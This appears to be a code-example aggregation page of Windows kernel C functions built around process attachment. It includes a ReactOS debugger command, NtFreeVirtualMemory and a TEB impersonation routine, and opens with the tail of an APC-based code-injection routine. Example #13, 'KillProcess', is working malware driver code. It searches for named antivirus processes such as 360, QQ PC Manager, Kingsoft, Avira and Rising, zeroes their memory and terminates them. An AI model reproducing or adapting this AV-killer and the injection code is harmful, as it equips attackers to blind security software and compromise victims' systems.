        DPF(("%s!%s RequestApc() FAIL=%08x\n", __MODULE__, __FUNCTION__,
             Status ));
        goto Exit;
    }


Exit :
    // in case of an error free the memory that was allocated
    if ( ! NT_SUCCESS ( Status ) ) {

        if ( AllocationBase ) {
            AllocationSize = 0;

            // Step #6 : Free the virtual memory that was allocated in the 
            // target process (ZwFreeVirtualMemory())
            ZwFreeVirtualMemory(ProcessHandle, &AllocationBase, &AllocationSize, MEM_RELEASE | MEM_DECOMMIT);
        }
    }


    if ( Attached ) {
        // Step #7 : Detach from the target process (KeUnstackDetachProcess())
        KeUnstackDetachProcess(&ApcState);
    }

    if ( Suspended ) {
        // Step #8 : Resume the target process (PsResumeProcess())
        PsResumeProcess(ProcessObject);
    }

    if ( ProcessObject ) {
        // Step #9 : Dereference the process object (ObDereferenceObject())
        ObDereferenceObject(ProcessObject);
    }

    return Status;
}
Example #13
0
void KillProcess(PVOID Context)
{
	NTSTATUS status;
	HANDLE prohd;
	BOOLEAN bexe;
	ULONG puserAddress;
	KAPC_STATE ApcState; 
	ANSI_STRING imagename;
	PEPROCESS pepro,ptempepro;
	LARGE_INTEGER timeout;
	PSE_AUDIT_PROCESS_CREATION_INFO papc;
	ANSI_STRING	pastr;
	PVOID pstrb=NULL;
	while(TRUE)
	{
		pepro=PsGetCurrentProcess();
		ptempepro=pepro;
		do 
		{
			bexe=FALSE;
			RtlInitAnsiString(&imagename,(PVOID)((ULONG)ptempepro+eprooffset.ImageFileName)); //+0x174 ImageFileName 
			papc=(PSE_AUDIT_PROCESS_CREATION_INFO)((ULONG)ptempepro+eprooffset.SE_AUDIT_PROCESS_CREATION_INFO);//EPROCESS偏移0x1f4处存放着_SE_AUDIT_PROCESS_CREATION_INFO结构的指针
			__try
			{
				if (papc->ImageFileName->Name.Length!=0)
				{
					RtlUnicodeStringToAnsiString(&pastr,&papc->ImageFileName->Name,TRUE);
					pstrb=strstr(pastr.Buffer,"360");
					if (pstrb!=NULL)
					{
						bexe=TRUE;
					}
					RtlFreeAnsiString(&pastr);
				}
			}__except(1){}
			KillCompare(&imagename,"360tray.exe",&bexe);
			KillCompare(&imagename,"360safe.exe",&bexe);
			KillCompare(&imagename,"ZhuDongFangYu.e",&bexe);
			KillCompare(&imagename,"360rp.exe",&bexe);
			KillCompare(&imagename,"360sd.exe",&bexe);
			KillCompare(&imagename,"qqpcrtp.exe",&bexe);
			KillCompare(&imagename,"qqpcleakscan.ex",&bexe);
			KillCompare(&imagename,"qqpctray.exe",&bexe);
			KillCompare(&imagename,"qqpcmgr.exe",&bexe);
			KillCompare(&imagename,"ksafe.exe",&bexe);
			KillCompare(&imagename,"kscan.exe",&bexe);
			KillCompare(&imagename,"kxescore.exe",&bexe);
			KillCompare(&imagename,"kxetray.exe",&bexe);
			KillCompare(&imagename,"ksafesvc.exe",&bexe);
			KillCompare(&imagename,"ksafetray.exe",&bexe);
			KillCompare(&imagename,"ksmgui.exe",&bexe);
			KillCompare(&imagename,"ksmsvc.exe",&bexe);
			KillCompare(&imagename,"avcenter.exe",&bexe);
			KillCompare(&imagename,"avgnt.exe",&bexe);
			KillCompare(&imagename,"avguard.exe",&bexe);
			KillCompare(&imagename,"avshadow.exe",&bexe);
			KillCompare(&imagename,"sched.exe",&bexe);
			KillCompare(&imagename,"ravmond.exe",&bexe);
			KillCompare(&imagename,"rsagent.exe",&bexe);
			KillCompare(&imagename,"rstray.exe",&bexe);
			KillCompare(&imagename,"rsmgrsvc.exe",&bexe);
			if (bexe)
			{
				KeStackAttachProcess(ptempepro,&ApcState);
				for(puserAddress=0;puserAddress<=0x7fffffff;puserAddress+=0x1000)
				{  
					if(MmIsAddressValid((PVOID)puserAddress))
					{
						__try
						{
							ProbeForWrite((PVOID)puserAddress,0x1000,sizeof(ULONG));
							RtlZeroMemory((PVOID)puserAddress, 0x1000);
						}__except(1)
						{ 
							continue;  
						}
					}
					else
					{
						if(puserAddress>0x1000000)//填这么多足够破坏进程数据了
						{
							break;
						}
					}
				}
				KeUnstackDetachProcess(&ApcState);
				status=ObOpenObjectByPointer(ptempepro,0,NULL,PROCESS_ALL_ACCESS,*PsProcessType,KernelMode,&prohd);
				if (NT_SUCCESS(status))
				{
					ZwTerminateProcess(prohd,0);
					ZwClose(prohd);
				}
			}
			ptempepro=(PEPROCESS)((ULONG)(*(PULONG)((ULONG)ptempepro+eprooffset.ActiveProcessLinks))-eprooffset.ActiveProcessLinks); //+0x088 ActiveProcessLinks : _LIST_ENTRY
		} while (ptempepro!=pepro);
Example #14
0
static
VOID
KdbCommand_Gdi_dumpht(ULONG argc, char *argv[])
{
    ULONG i;
    UCHAR Objt, jReqestedType;
    PENTRY pentry;
    POBJ pobj;
    KAPC_STATE ApcState;
    ULONG_PTR ulArg;

    /* No CSRSS, no handle table */
    if (!gpepCSRSS) return;
    KeStackAttachProcess(&gpepCSRSS->Pcb, &ApcState);

    if (argc == 0)
    {
        USHORT Counts[GDIObjType_MAX_TYPE + 2] = {0};

        /* Loop all possibly used entries in the handle table */
        for (i = RESERVE_ENTRIES_COUNT; i < gulFirstUnused; i++)
        {
            if (KdbIsMemoryValid(&gpentHmgr[i], sizeof(ENTRY)))
            {
                Objt = gpentHmgr[i].Objt & 0x1F;
                Counts[Objt]++;
            }
        }

        DbgPrint("Type         Count\n");
        DbgPrint("-------------------\n");
        for (i = 0; i <= GDIObjType_MAX_TYPE; i++)
        {
            DbgPrint("%02x %-9s %d\n",
                     i, gpszObjectTypes[i], Counts[i]);
        }
        DbgPrint("\n");
    }
    else
    {
        /* Loop all object types */
        for (i = 0; i <= GDIObjType_MAX_TYPE + 1; i++)
        {
            /* Check if this object type was requested */
            if (stricmp(argv[0], gpszObjectTypes[i]) == 0) break;
        }

        /* Check if we didn't find it yet */
        if (i > GDIObjType_MAX_TYPE + 1)
        {
            /* Try if it's a number */
            if (!KdbGetHexNumber(argv[0], &ulArg))
            {
                DbgPrint("Invalid parameter: %s\n", argv[0]);
                return;
            }

            /* Check if it's inside the allowed range */
            if (i > GDIObjType_MAX_TYPE)
            {
                DbgPrint("Unknown object type: %s\n", argv[0]);
                goto leave;
            }
        }

        jReqestedType = i;

        /* Print header */
        DbgPrint("Index Handle   Type      pObject    ThreadId cLocks  ulRefCount\n");
        DbgPrint("---------------------------------------------------------------\n");

        /* Loop all possibly used entries in the handle table */
        for (i = RESERVE_ENTRIES_COUNT; i < gulFirstUnused; i++)
        {
            /* Get the entry and the object */
            pentry = &gpentHmgr[i];

            if (!MmIsAddressValid(pentry)) continue;

            pobj = pentry->einfo.pobj;
            Objt = pentry->Objt & 0x1F;

            /* Check if ALL objects are requested, or the object type matches */
            if ((jReqestedType == GDIObjType_MAX_TYPE + 1) ||
                (Objt == jReqestedType))
            {
                DbgPrint("%04lx  %p %-9s 0x%p 0x%06lx %-6ld ",
                         i, pobj->hHmgr, gpszObjectTypes[Objt], pobj,
                         pobj->dwThreadId, pobj->cExclusiveLock);
                if (MmIsAddressValid(&gpaulRefCount[i]))
                    DbgPrint("0x%08lx\n", gpaulRefCount[i]);
                else
                    DbgPrint("??????????\n");
            }
        }
    }

leave:
    KeUnstackDetachProcess(&ApcState);
}
Example #15
0
NTSTATUS
NtFreeVirtualMemory(
    __in HANDLE ProcessHandle,
    __inout PVOID *BaseAddress,
    __inout PSIZE_T RegionSize,
    __in ULONG FreeType
)

/*++

Routine Description:

    This function deletes a region of pages within the virtual address
    space of a subject process.

Arguments:

    ProcessHandle - An open handle to a process object.

    BaseAddress - The base address of the region of pages
                  to be freed. This value is rounded down to the
                  next host page address boundary.

    RegionSize - A pointer to a variable that will receive
                 the actual size in bytes of the freed region of
                 pages. The initial value of this argument is
                 rounded up to the next host page size boundary.

    FreeType - A set of flags that describe the type of
               free that is to be performed for the specified
               region of pages.

       FreeType Flags

        MEM_DECOMMIT - The specified region of pages is to be decommitted.

        MEM_RELEASE - The specified region of pages is to be released.

Return Value:

    NTSTATUS.

--*/

{
    KAPC_STATE ApcState;
    PMMVAD_SHORT Vad;
    PMMVAD_SHORT NewVad;
    PMMVAD PreviousVad;
    PMMVAD NextVad;
    PMMVAD ChargedVad;
    PEPROCESS Process;
    KPROCESSOR_MODE PreviousMode;
    PVOID StartingAddress;
    PVOID EndingAddress;
    NTSTATUS Status;
    LOGICAL Attached;
    SIZE_T CapturedRegionSize;
    PVOID CapturedBase;
    PMMPTE StartingPte;
    PMMPTE EndingPte;
    SIZE_T OldQuota;
    SIZE_T QuotaCharge;
    SIZE_T CommitReduction;
    LOGICAL UserPhysicalPages;
    PETHREAD CurrentThread;
    PEPROCESS CurrentProcess;

    PAGED_CODE();

    //
    // Check to make sure FreeType is good.
    //

    if ((FreeType & ~(MEM_DECOMMIT | MEM_RELEASE)) != 0) {
        return STATUS_INVALID_PARAMETER_4;
    }

    //
    // One of MEM_DECOMMIT or MEM_RELEASE must be specified, but not both.
    //

    if (((FreeType & (MEM_DECOMMIT | MEM_RELEASE)) == 0) ||
            ((FreeType & (MEM_DECOMMIT | MEM_RELEASE)) ==
             (MEM_DECOMMIT | MEM_RELEASE))) {
        return STATUS_INVALID_PARAMETER_4;
    }
    CurrentThread = PsGetCurrentThread ();

    CurrentProcess = PsGetCurrentProcessByThread (CurrentThread);

    PreviousMode = KeGetPreviousModeByThread(&CurrentThread->Tcb);

    //
    // Establish an exception handler, probe the specified addresses
    // for write access and capture the initial values.
    //

    try {

        if (PreviousMode != KernelMode) {

            ProbeForWritePointer (BaseAddress);
            ProbeForWriteUlong_ptr (RegionSize);
        }

        //
        // Capture the base address.
        //

        CapturedBase = *BaseAddress;

        //
        // Capture the region size.
        //

        CapturedRegionSize = *RegionSize;

    }
    except (ExSystemExceptionFilter ()) {

        //
        // If an exception occurs during the probe or capture
        // of the initial values, then handle the exception and
        // return the exception code as the status value.
        //

        return GetExceptionCode ();
    }

    //
    // Make sure the specified starting and ending addresses are
    // within the user part of the virtual address space.
    //

    if (CapturedBase > MM_HIGHEST_USER_ADDRESS) {

        //
        // Invalid base address.
        //

        return STATUS_INVALID_PARAMETER_2;
    }

    if ((ULONG_PTR)MM_HIGHEST_USER_ADDRESS - (ULONG_PTR)CapturedBase <
            CapturedRegionSize) {

        //
        // Invalid region size;
        //

        return STATUS_INVALID_PARAMETER_3;

    }

    EndingAddress = (PVOID)(((LONG_PTR)CapturedBase + CapturedRegionSize - 1) |
                            (PAGE_SIZE - 1));

    StartingAddress = PAGE_ALIGN(CapturedBase);

    Attached = FALSE;

    if (ProcessHandle == NtCurrentProcess()) {
        Process = CurrentProcess;
    }
    else {

        //
        // Reference the specified process handle for VM_OPERATION access.
        //

        Status = ObReferenceObjectByHandle (ProcessHandle,
                                            PROCESS_VM_OPERATION,
                                            PsProcessType,
                                            PreviousMode,
                                            (PVOID *)&Process,
                                            NULL);

        if (!NT_SUCCESS(Status)) {
            return Status;
        }

        //
        // If the specified process is not the current process, attach
        // to the specified process.
        //

        if (CurrentProcess != Process) {
            KeStackAttachProcess (&Process->Pcb, &ApcState);
            Attached = TRUE;
        }
    }

    CommitReduction = 0;

    //
    // Get the address creation mutex to block multiple threads from
    // creating or deleting address space at the same time and
    // get the working set mutex so virtual address descriptors can
    // be inserted and walked.  Block APCs to prevent page faults while
    // we own the working set mutex.
    //

    LOCK_ADDRESS_SPACE (Process);

    //
    // Make sure the address space was not deleted.
    //

    if (Process->Flags & PS_PROCESS_FLAGS_VM_DELETED) {
        Status = STATUS_PROCESS_IS_TERMINATING;
        goto ErrorReturn;
    }

    Vad = (PMMVAD_SHORT) MiLocateAddress (StartingAddress);

    if (Vad == NULL) {

        //
        // No Virtual Address Descriptor located for Base Address.
        //

        Status = STATUS_MEMORY_NOT_ALLOCATED;
        goto ErrorReturn;
    }

    //
    // Found the associated Virtual Address Descriptor.
    //

    if (Vad->EndingVpn < MI_VA_TO_VPN (EndingAddress)) {

        //
        // The entire range to delete is not contained within a single
        // virtual address descriptor.  Return an error.
        //

        Status = STATUS_UNABLE_TO_FREE_VM;
        goto ErrorReturn;
    }

    //
    // Check to ensure this Vad is deletable.  Delete is required
    // for both decommit and release.
    //

    if (((Vad->u.VadFlags.PrivateMemory == 0) &&
            (Vad->u.VadFlags.VadType != VadRotatePhysical))
            ||
            (Vad->u.VadFlags.VadType == VadDevicePhysicalMemory)) {

        Status = STATUS_UNABLE_TO_DELETE_SECTION;
        goto ErrorReturn;
    }

    if (Vad->u.VadFlags.NoChange == 1) {

        //
        // An attempt is being made to delete a secured VAD, check
        // to see if this deletion is allowed.
        //

        if (FreeType & MEM_RELEASE) {

            //
            // Specify the whole range, this solves the problem with
            // splitting the VAD and trying to decide where the various
            // secure ranges need to go.
            //

            Status = MiCheckSecuredVad ((PMMVAD)Vad,
                                        MI_VPN_TO_VA (Vad->StartingVpn),
                                        ((Vad->EndingVpn - Vad->StartingVpn) << PAGE_SHIFT) +
                                        PAGE_SIZE,
                                        MM_SECURE_DELETE_CHECK);

        }
        else {
            Status = MiCheckSecuredVad ((PMMVAD)Vad,
                                        CapturedBase,
                                        CapturedRegionSize,
                                        MM_SECURE_DELETE_CHECK);
        }
        if (!NT_SUCCESS (Status)) {
            goto ErrorReturn;
        }
    }

    UserPhysicalPages = FALSE;
    ChargedVad = NULL;

    PreviousVad = MiGetPreviousVad (Vad);
    NextVad = MiGetNextVad (Vad);

    if (FreeType & MEM_RELEASE) {

        //
        // *****************************************************************
        // MEM_RELEASE was specified.
        // *****************************************************************
        //

        //
        // The descriptor for the address range is deletable.  Remove or split
        // the descriptor.
        //

        //
        // If the region size is zero, remove the whole VAD.
        //

        if (CapturedRegionSize == 0) {

            //
            // If the region size is specified as 0, the base address
            // must be the starting address for the region.
            //

            if (MI_VA_TO_VPN (CapturedBase) != Vad->StartingVpn) {
                Status = STATUS_FREE_VM_NOT_AT_BASE;
                goto ErrorReturn;
            }

            //
            // This Virtual Address Descriptor has been deleted.
            //

            StartingAddress = MI_VPN_TO_VA (Vad->StartingVpn);
            EndingAddress = MI_VPN_TO_VA_ENDING (Vad->EndingVpn);

            if (Vad->u.VadFlags.VadType == VadRotatePhysical) {
                Status = MiUnmapViewOfSection (Process,
                                               CapturedBase,
                                               UNMAP_ADDRESS_SPACE_HELD | UNMAP_ROTATE_PHYSICAL_OK);
                ASSERT (CommitReduction == 0);
                Vad = NULL;
                CapturedRegionSize = 1 + (PCHAR)EndingAddress - (PCHAR)StartingAddress;
                goto AllDone;
            }

            //
            // Free all the physical pages that this VAD might be mapping.
            //

            if (Vad->u.VadFlags.VadType == VadLargePages) {

                MiAweViewRemover (Process, (PMMVAD)Vad);

                MiReleasePhysicalCharges (Vad->EndingVpn - Vad->StartingVpn + 1,
                                          Process);

                LOCK_WS_UNSAFE (CurrentThread, Process);

                MiFreeLargePages (MI_VPN_TO_VA (Vad->StartingVpn),
                                  MI_VPN_TO_VA_ENDING (Vad->EndingVpn),
                                  FALSE);
            }
            else if (Vad->u.VadFlags.VadType == VadAwe) {
                MiAweViewRemover (Process, (PMMVAD)Vad);
                MiRemoveUserPhysicalPagesVad (Vad);
                UserPhysicalPages = TRUE;
                LOCK_WS_UNSAFE (CurrentThread, Process);
            }
            else if (Vad->u.VadFlags.VadType == VadWriteWatch) {
                LOCK_WS_UNSAFE (CurrentThread, Process);
                MiPhysicalViewRemover (Process, (PMMVAD)Vad);
            }
            else {
                LOCK_WS_UNSAFE (CurrentThread, Process);
            }

            ChargedVad = (PMMVAD)Vad;

            MiRemoveVad ((PMMVAD)Vad, Process);

            //
            // Free the VAD pool and release quota after releasing our mutexes
            // to reduce contention.
            //
        }
        else {

            //
            // Region's size was not specified as zero, delete the
            // whole VAD or split the VAD.
            //

            if (MI_VA_TO_VPN (StartingAddress) == Vad->StartingVpn) {
                if (MI_VA_TO_VPN (EndingAddress) == Vad->EndingVpn) {

                    //
                    // This Virtual Address Descriptor has been deleted.
                    //
                    // Free all the physical pages that this VAD might be
                    // mapping.
                    //

                    if (Vad->u.VadFlags.VadType == VadRotatePhysical) {
                        Status = MiUnmapViewOfSection (Process,
                                                       CapturedBase,
                                                       UNMAP_ADDRESS_SPACE_HELD | UNMAP_ROTATE_PHYSICAL_OK);
                        ASSERT (CommitReduction == 0);
                        Vad = NULL;
                        CapturedRegionSize = 1 + (PCHAR)EndingAddress - (PCHAR)StartingAddress;
                        goto AllDone;
                    }

                    if (Vad->u.VadFlags.VadType == VadLargePages) {

                        MiAweViewRemover (Process, (PMMVAD)Vad);

                        MiReleasePhysicalCharges (Vad->EndingVpn - Vad->StartingVpn + 1,
                                                  Process);

                        LOCK_WS_UNSAFE (CurrentThread, Process);

                        MiFreeLargePages (MI_VPN_TO_VA (Vad->StartingVpn),
                                          MI_VPN_TO_VA_ENDING (Vad->EndingVpn),
                                          FALSE);
                    }
                    else if (Vad->u.VadFlags.VadType == VadAwe) {
                        MiAweViewRemover (Process, (PMMVAD)Vad);
                        MiRemoveUserPhysicalPagesVad (Vad);
                        UserPhysicalPages = TRUE;
                        LOCK_WS_UNSAFE (CurrentThread, Process);
                    }
                    else if (Vad->u.VadFlags.VadType == VadWriteWatch) {
                        LOCK_WS_UNSAFE (CurrentThread, Process);
                        MiPhysicalViewRemover (Process, (PMMVAD)Vad);
                    }
                    else {
                        LOCK_WS_UNSAFE (CurrentThread, Process);
                    }

                    ChargedVad = (PMMVAD)Vad;

                    MiRemoveVad ((PMMVAD)Vad, Process);

                    //
                    // Free the VAD pool after releasing our mutexes
                    // to reduce contention.
                    //
                }
                else {

                    if ((Vad->u.VadFlags.VadType == VadAwe) ||
                            (Vad->u.VadFlags.VadType == VadLargePages) ||
                            (Vad->u.VadFlags.VadType == VadRotatePhysical) ||
                            (Vad->u.VadFlags.VadType == VadWriteWatch)) {

                        //
                        // Splitting or chopping a physical VAD, large page VAD
                        // or a write-watch VAD is not allowed.
                        //

                        Status = STATUS_FREE_VM_NOT_AT_BASE;
                        goto ErrorReturn;
                    }

                    LOCK_WS_UNSAFE (CurrentThread, Process);

                    //
                    // This Virtual Address Descriptor has a new starting
                    // address.
                    //

                    CommitReduction = MiCalculatePageCommitment (
                                          StartingAddress,
                                          EndingAddress,
                                          (PMMVAD)Vad,
                                          Process);

                    Vad->StartingVpn = MI_VA_TO_VPN ((PCHAR)EndingAddress + 1);
                    Vad->u.VadFlags.CommitCharge -= CommitReduction;
                    ASSERT ((SSIZE_T)Vad->u.VadFlags.CommitCharge >= 0);
                    NextVad = (PMMVAD)Vad;
                    Vad = NULL;
                }
            }
            else {

                if ((Vad->u.VadFlags.VadType == VadAwe) ||
                        (Vad->u.VadFlags.VadType == VadLargePages) ||
                        (Vad->u.VadFlags.VadType == VadRotatePhysical) ||
                        (Vad->u.VadFlags.VadType == VadWriteWatch)) {

                    //
                    // Splitting or chopping a physical VAD, large page VAD
                    // or a write-watch VAD is not allowed.
                    //

                    Status = STATUS_FREE_VM_NOT_AT_BASE;
                    goto ErrorReturn;
                }

                //
                // Starting address is greater than start of VAD.
                //

                if (MI_VA_TO_VPN (EndingAddress) == Vad->EndingVpn) {

                    //
                    // Change the ending address of the VAD.
                    //

                    LOCK_WS_UNSAFE (CurrentThread, Process);

                    CommitReduction = MiCalculatePageCommitment (
                                          StartingAddress,
                                          EndingAddress,
                                          (PMMVAD)Vad,
                                          Process);

                    Vad->u.VadFlags.CommitCharge -= CommitReduction;

                    Vad->EndingVpn = MI_VA_TO_VPN ((PCHAR)StartingAddress - 1);
                    PreviousVad = (PMMVAD)Vad;
                }
                else {

                    //
                    // Split this VAD as the address range is within the VAD.
                    //

                    NewVad = ExAllocatePoolWithTag (NonPagedPool,
                                                    sizeof(MMVAD_SHORT),
                                                    'FdaV');

                    if (NewVad == NULL) {
                        Status = STATUS_INSUFFICIENT_RESOURCES;
                        goto ErrorReturn;
                    }

                    *NewVad = *Vad;

                    NewVad->StartingVpn = MI_VA_TO_VPN ((PCHAR)EndingAddress + 1);
                    //
                    // Set the commit charge to zero so MiInsertVad will
                    // not charge commitment for splitting the VAD.
                    //

                    NewVad->u.VadFlags.CommitCharge = 0;

                    //
                    // Insert the VAD, this could fail due to quota charges.
                    //

                    Status = MiInsertVadCharges ((PMMVAD)NewVad, Process);

                    if (!NT_SUCCESS(Status)) {

                        //
                        // The quota charging failed, free the new VAD
                        // and return an error.
                        //

                        UNLOCK_ADDRESS_SPACE (Process);
                        ExFreePool (NewVad);
                        goto ErrorReturn2;
                    }

                    LOCK_WS_UNSAFE (CurrentThread, Process);

                    CommitReduction = MiCalculatePageCommitment (
                                          StartingAddress,
                                          EndingAddress,
                                          (PMMVAD)Vad,
                                          Process);

                    OldQuota = Vad->u.VadFlags.CommitCharge - CommitReduction;

                    Vad->EndingVpn = MI_VA_TO_VPN ((PCHAR)StartingAddress - 1);

                    MiInsertVad ((PMMVAD)NewVad, Process);

                    //
                    // As we have split the original VAD into 2 separate VADs
                    // there is no way of knowing what the commit charge
                    // is for each VAD.  Calculate the charge and reset
                    // each VAD.  Note that we also use the previous value
                    // to make sure the books stay balanced.
                    //

                    QuotaCharge = MiCalculatePageCommitment (MI_VPN_TO_VA (Vad->StartingVpn),
                                  (PCHAR)StartingAddress - 1,
                                  (PMMVAD)Vad,
                                  Process);

                    Vad->u.VadFlags.CommitCharge = QuotaCharge;

                    //
                    // Give the remaining charge to the new VAD.
                    //

                    NewVad->u.VadFlags.CommitCharge = OldQuota - QuotaCharge;
                    PreviousVad = (PMMVAD)Vad;
                    NextVad = (PMMVAD)NewVad;
                }
                Vad = NULL;
            }
        }

        if (UserPhysicalPages == TRUE) {
            MiDeletePageTablesForPhysicalRange (StartingAddress, EndingAddress);
        }
        else {

            MiDeleteVirtualAddresses (StartingAddress,
                                      EndingAddress,
                                      NULL);
        }

        UNLOCK_WS_UNSAFE (CurrentThread, Process);

        //
        // Return commitment for page table pages if possible.
        //

        MiReturnPageTablePageCommitment (StartingAddress,
                                         EndingAddress,
                                         Process,
                                         PreviousVad,
                                         NextVad);

        if (ChargedVad != NULL) {
            MiRemoveVadCharges (ChargedVad, Process);
        }

        CapturedRegionSize = 1 + (PCHAR)EndingAddress - (PCHAR)StartingAddress;

        //
        // Update the virtual size in the process header.
        //

        Process->VirtualSize -= CapturedRegionSize;

        Process->CommitCharge -= CommitReduction;
        Status = STATUS_SUCCESS;

AllDone:
        UNLOCK_ADDRESS_SPACE (Process);

        if (CommitReduction != 0) {

            MI_INCREMENT_TOTAL_PROCESS_COMMIT (0 - CommitReduction);

            ASSERT (Vad == NULL);
            PsReturnProcessPageFileQuota (Process, CommitReduction);
            MiReturnCommitment (CommitReduction);

            if (Process->JobStatus & PS_JOB_STATUS_REPORT_COMMIT_CHANGES) {
                PsChangeJobMemoryUsage (PS_JOB_STATUS_REPORT_COMMIT_CHANGES, -(SSIZE_T)CommitReduction);
            }

            MM_TRACK_COMMIT (MM_DBG_COMMIT_RETURN_NTFREEVM1, CommitReduction);
        }
        else if (Vad != NULL) {
            ExFreePool (Vad);
        }

        if (Attached == TRUE) {
            KeUnstackDetachProcess (&ApcState);
        }

        if (ProcessHandle != NtCurrentProcess ()) {
            ObDereferenceObject (Process);
        }
        //
        // Establish an exception handler and write the size and base
        // address.
        //

        try {

            *RegionSize = CapturedRegionSize;
            *BaseAddress = StartingAddress;

        }
        except (EXCEPTION_EXECUTE_HANDLER) {

            //
            // An exception occurred, don't take any action (just handle
            // the exception and return success.

        }

        return Status;
    }

    //
    // **************************************************************
    //
    // MEM_DECOMMIT was specified.
    //
    // **************************************************************
    //

    if (Vad->u.VadFlags.VadType == VadAwe) {

        //
        // Pages from a physical VAD must be released via
        // NtFreeUserPhysicalPages, not this routine.
        //

        Status = STATUS_MEMORY_NOT_ALLOCATED;
        goto ErrorReturn;
    }

    if ((Vad->u.VadFlags.VadType == VadLargePages) ||
            (Vad->u.VadFlags.VadType == VadRotatePhysical)) {

        //
        // Pages from a large page or rotate physical VAD must be released -
        // they cannot be merely decommitted.
        //

        Status = STATUS_MEMORY_NOT_ALLOCATED;
        goto ErrorReturn;
    }

    //
    // Check to ensure the complete range of pages is already committed.
    //

    if (CapturedRegionSize == 0) {

        if (MI_VA_TO_VPN (CapturedBase) != Vad->StartingVpn) {
            Status = STATUS_FREE_VM_NOT_AT_BASE;
            goto ErrorReturn;
        }
        EndingAddress = MI_VPN_TO_VA_ENDING (Vad->EndingVpn);
    }

    //
    // The address range is entirely committed, decommit it now.
    //

    //
    // Calculate the initial quotas and commit charges for this VAD.
    //

    StartingPte = MiGetPteAddress (StartingAddress);
    EndingPte = MiGetPteAddress (EndingAddress);

    CommitReduction = 1 + EndingPte - StartingPte;

    //
    // Check to see if the entire range can be decommitted by
    // just updating the virtual address descriptor.
    //

    CommitReduction -= MiDecommitPages (StartingAddress,
                                        EndingPte,
                                        Process,
                                        Vad);

    //
    // Adjust the quota charges.
    //

    ASSERT ((LONG)CommitReduction >= 0);

    Vad->u.VadFlags.CommitCharge -= CommitReduction;
    ASSERT ((LONG)Vad->u.VadFlags.CommitCharge >= 0);
    Vad = NULL;

    Process->CommitCharge -= CommitReduction;

    UNLOCK_ADDRESS_SPACE (Process);

    if (CommitReduction != 0) {

        MI_INCREMENT_TOTAL_PROCESS_COMMIT (0 - CommitReduction);

        PsReturnProcessPageFileQuota (Process, CommitReduction);
        MiReturnCommitment (CommitReduction);

        if (Process->JobStatus & PS_JOB_STATUS_REPORT_COMMIT_CHANGES) {
            PsChangeJobMemoryUsage (PS_JOB_STATUS_REPORT_COMMIT_CHANGES, -(SSIZE_T)CommitReduction);
        }

        MM_TRACK_COMMIT (MM_DBG_COMMIT_RETURN_NTFREEVM2, CommitReduction);
    }
    else if (Vad != NULL) {
        ExFreePool (Vad);
    }

    if (Attached == TRUE) {
        KeUnstackDetachProcess (&ApcState);
    }

    if (ProcessHandle != NtCurrentProcess()) {
        ObDereferenceObject (Process);
    }

    //
    // Establish an exception handler and write the size and base address.
    //

    try {

        *RegionSize = 1 + (PCHAR)EndingAddress - (PCHAR)StartingAddress;
        *BaseAddress = StartingAddress;

    }
    except (EXCEPTION_EXECUTE_HANDLER) {
        NOTHING;
    }

    return STATUS_SUCCESS;

ErrorReturn:
    UNLOCK_ADDRESS_SPACE (Process);

ErrorReturn2:
    if (Attached == TRUE) {
        KeUnstackDetachProcess (&ApcState);
    }

    if (ProcessHandle != NtCurrentProcess()) {
        ObDereferenceObject (Process);
    }
    return Status;
}
Example #16
0
NTSTATUS
NTAPI
PspWriteTebImpersonationInfo(IN PETHREAD Thread,
                             IN PETHREAD CurrentThread)
{
    PEPROCESS Process;
    PTEB Teb;
    BOOLEAN Attached = FALSE;
    BOOLEAN IsImpersonating;
    KAPC_STATE ApcState;
    PAGED_CODE();
    PSTRACE(PS_SECURITY_DEBUG, "Thread: %p\n", Thread);

    /* Sanity check */
    ASSERT(CurrentThread == PsGetCurrentThread());

    /* Get process and TEB */
    Process = Thread->ThreadsProcess;
    Teb = Thread->Tcb.Teb;
    if (Teb)
    {
        /* Check if we're not in the right process */
        if (Thread->Tcb.ApcState.Process != &Process->Pcb)
        {
            /* Attach to the process */
            KeStackAttachProcess(&Process->Pcb, &ApcState);
            Attached = TRUE;
        }

        /* Check if we're in a different thread or acquire rundown */
        if ((Thread == CurrentThread) ||
            (ExAcquireRundownProtection(&Thread->RundownProtect)))
        {
            /* Check if the thread is impersonating */
            IsImpersonating = (BOOLEAN)Thread->ActiveImpersonationInfo;
            if (IsImpersonating)
            {
                /* Set TEB data */
                Teb->ImpersonationLocale = -1;
                Teb->IsImpersonating = 1;
            }
            else
            {
                /* Set TEB data */
                Teb->ImpersonationLocale = 0;
                Teb->IsImpersonating = 0;
            }
        }

        /* Check if we're in a different thread */
        if (Thread != CurrentThread)
        {
            /* Release protection */
            ExReleaseRundownProtection(&Thread->RundownProtect);
        }

        /* Detach */
        if (Attached) KeUnstackDetachProcess(&ApcState);
    }

    /* Return to caller */
    return STATUS_SUCCESS;
}